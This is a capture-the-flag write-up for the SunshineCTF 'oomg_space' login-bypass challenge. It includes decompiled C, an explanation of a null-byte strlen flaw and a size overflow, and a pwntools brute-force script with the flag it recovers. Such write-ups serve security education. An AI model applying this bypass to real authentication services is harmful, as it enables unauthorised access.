# oomg_space [350]
The Sunshine Space Center has posted a bug bounty program! Anyone who can bypass the login screen will be rewarded with an all-expenses-paid one-way trip to Mars!
`nc chal.2020.sunshinectf.org 20001`
**Files**: `oomg_space`
In this writeup, I'll be using the unintended solution (that the challenge authors later patched with a new challenge).
## Solution
This is the part of the code you need to care about:
```cchar random_49_bytes[50];bool compare_password(char *rand, char *pass, size_t len) {    /* code to compare the first `len` bytes of `rand` with `pass` */}void puts_no_newline(char *s) { /* code to print a string without adding a newline */ }void show_flag() { /* code to print the flag */ }
char *init_random_bytes() {  unsigned int urand = open("/dev/urandom", 0);  read(urand, random_49_bytes, 49);  close(urand);  random_49_bytes[49] = 0;  return random_49_bytes;}
bool login() {  char username[16]; // [rsp-28h] [rbp-28h]  puts_no_newline("USER\n");  memset(username, 0, 16); // internally this is just MOVs  read(0, username, 16);  if (strcmp(username, "admin")) {    puts_no_newline("BAD USER ");    puts_no_newline(username);     // Note that this allows us to leak the location of random_49_bytes    puts_no_newline("\n");    return 0;  }  puts_no_newline("PASSWORD\n");  long long passwd_len = 0;  read(0, &passwd_len, 8);  passwd_len = byteswapped(passwd_len);  char *passwd = (char *)malloc_(passwd_len + 1LL); //note that 0xffffffffffffffff+1 == 0  read(0, passwd, passwd_len);  passwd[passwd_len] = 0;  if (compare_passwd(random_49_bytes, passwd, strlen(random_49_bytes))) {    puts_no_newline("LOGIN FAIL\n");    exit(1);  }  puts_no_newline("LOGIN SUCCESS\n");  return 1;}
int main() {  init_random_bytes();  puts_no_newline("HELLO\n");  puts_no_newline("SERVER sunshine.space.center.local\n");  int password_tries_remaining = 3;  while (password_tries_remaining-- > 0) {    if (login()) {      show_flag();      usleep(100000);      return 0;    }    puts_no_newline("AGAIN\n");  }  puts_no_newline("LOCKOUT\n");}```The goal is to pass the password check in `login()` in order to get the flag printed. This is done by a one-shot string comparsion between a user-inputted password against 49 bytes of output from /dev/urandom.
`strlen()` is used to get the length of `random_49_bytes`. If `strlen(random_49_bytes)` happens to be 0, the check with `compare_passwd` will be immediately bypassed. Since `/dev/urandom` can provide null bytes (with a 1/256 probability), we'll just dig at the server until we're lucky enough to land in that situation.
```pythonfrom pwn import *context.binary = 'oomg_space'for i in range(1000): #Because there is a 1/256 chance that /urandom gives a 0 first byte, this can work    p = remote('chal.2020.sunshinectf.org', 20001)    p.sendafter('USER\n', 'admin')    p.sendafter('PASSWORD\n', pack((1<<64)-1))  # Just use any number that won't crash.    print(p.recvall())``````sh$ python3.8 oomg_space.py > a.log$ grep sun{ a.logb'LOGIN SUCCESS\nFLAG sun{g0tt4_ch3ck_th053_r37urn_c0d35}\n'```
It's that simple.